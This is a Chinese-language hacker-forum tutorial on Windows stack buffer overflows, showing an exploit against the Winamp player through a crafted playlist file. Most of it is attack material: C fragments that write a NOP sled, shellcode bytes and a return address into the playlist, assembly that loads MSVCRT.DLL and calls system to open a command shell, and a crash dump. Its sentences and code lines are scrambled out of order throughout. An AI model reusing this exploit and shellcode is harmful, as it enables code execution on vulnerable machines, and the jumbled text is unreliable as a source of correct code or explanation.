【正文】 如果大家能夠提出改進的算法，或者 發(fā)現(xiàn)新的 exploit，就真正是光大了我們黑客版的精神。好在有小懶蟲 (sysword)，小四(hellguard)，康師傅 (kxn)這些網(wǎng)友給我的督促和幫助。 這只是 windows NT 下堆棧溢出攻擊的一個應用。 后來， NT的中普通用戶獲取 admin，我想到過仿照 UNIX，搞緩沖區(qū)溢出攻擊。對此， dark spyrit AKA Barnaby Jack 曾有這樣的建議： If the exploit failed...... Do not determine the threat to your servers solely on the results of one public exploit the vulnerability exists, fix it. If you think that was the only demonstration code floating around you need your head examined. 以前咱們水木黑客版 97 年堆棧溢出大討論的時候， rainer 就很高水平的探討過 windows 下的 buffer overflow。 因此，這也回答了去年 xsz,littleworm 它們的問題。即使用GetProcAddress 來獲得我們將使用的每一個系統(tǒng)函數(shù)，當然這就大大加長了我們的 shellcode。因為 windows 的 patch 天天有，他的一些 dll就更新很快。 另外，大家從破解的過程中，可以發(fā)現(xiàn)我一再強調 windows 的版本。 } OK，運行他，生成一個文件叫做 winamp 里面打開這個playlist, 結果如下，我可愛的 dos出來了： Microsoft(R) Windows 98 (C)Copyright Microsoft Corp 19811999. D:\hacker\document\ipxodidir ......................... ........就不貼了 ......... 總結： 經(jīng)過這次實戰(zhàn)的演練，大家一定對windows 下的 buffer overflow有了很深的掌握了。 fprintf(file, \nNumberOfEntries=1)。 fprintf(file, File1=)。x++) { buffer[x] = 0x90。 char sploit[256] = \x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53 \xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6 \x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x50\x77\xF7\xbF\x52\x8D\x45\xF4\x50 \xFF\x55\xF0 \x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E \x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4 \x50\xB8\xFF\xFF\xFF\xFF\x2d\xdB\x67\xFe\x87\xFF\xD0 \x55\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x50\xFF\x55\xFC。我們的 shellcode被截斷了。 Registers: EAX=00000001 CS=017f EIP=004200c3 EFLGS=00000206 EBX=006da30c SS=0187 ESP=006da171 EBP=006da2f4 ECX=00000000 DS=0187 ESI=00445638 FS=444f EDX=005b02dc ES=0187 EDI=00000001 GS=4446 Bytes at CS:EIP: 00 85 f6 7d 06 03 35 dc 23 44 00 8b 6c 24 10 3b Stack dump: 0a006da1 8000009d 0000442a 90000000 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 看看出錯信息， EIP 是 4200c3,看來已經(jīng)開始執(zhí)行我們的 shellcode了，怎么會有無效頁錯誤呢？看來我們的 shellcode有問題。 printf(\t created file loaded with the exploit.\n)。 fprintf(file, %s, eip)。 } file = fopen(,wb)。 FILE *file。版本： () 由于里面有 0，所以使用兩條指令來完成： mov edx,0xFFFFFFFF sub edx,0x87FFAAFB//==mov edx,0x78005504 編譯，找出二進制 code： shellcode： \x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53 \xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6 \x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x50\x77\xF7\xbF\x52\x8D\x45\xF4\x50 \xFF\x55\xF0 \x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E \x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4 \x50\xB8\x24\x98\x01\x78\xFF\xD0 \x55\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x50\xFF\x55\xFC。 指令 mov edx,0xBFF776D4 中，0xBFF776D4 是函數(shù) LoadLibraryA 的地址。 push ebp mov ebp,esp xor eax,eax push eax push eax push eax mov byte ptr[ebp0Ch],4Dh mov byte ptr[ebp0Bh],53h mov byte ptr[ebp0Ah],56h mov byte ptr[ebp09h],43h mov byte ptr[ebp08h],52h mov byte ptr[ebp07h],54h mov byte ptr[ebp06h],2Eh mov byte ptr[ebp05h],44h mov byte ptr[ebp04h],4Ch mov byte ptr[ebp03h],4Ch mov edx,0xBFF776D4 //LoadLibrary push edx lea eax,[ebp0Ch] push eax call dword ptr[ebp10h] 然后是開一個 dos窗口： push ebp mov ebp, esp sub esp, 0000002C mov eax, 6D6D6F63 mov dword ptr [ebp0C], eax mov eax, 2E646E61 mov dword ptr [ebp08], eax mov eax, 226D6F63 mov dword ptr [ebp04], eax xor edx, edx mov byte ptr [ebp01], dl lea eax, dword ptr [ebp0C] push eax mov eax, 78019824 //system call eax 最后執(zhí)行 exit，退出來。 我們的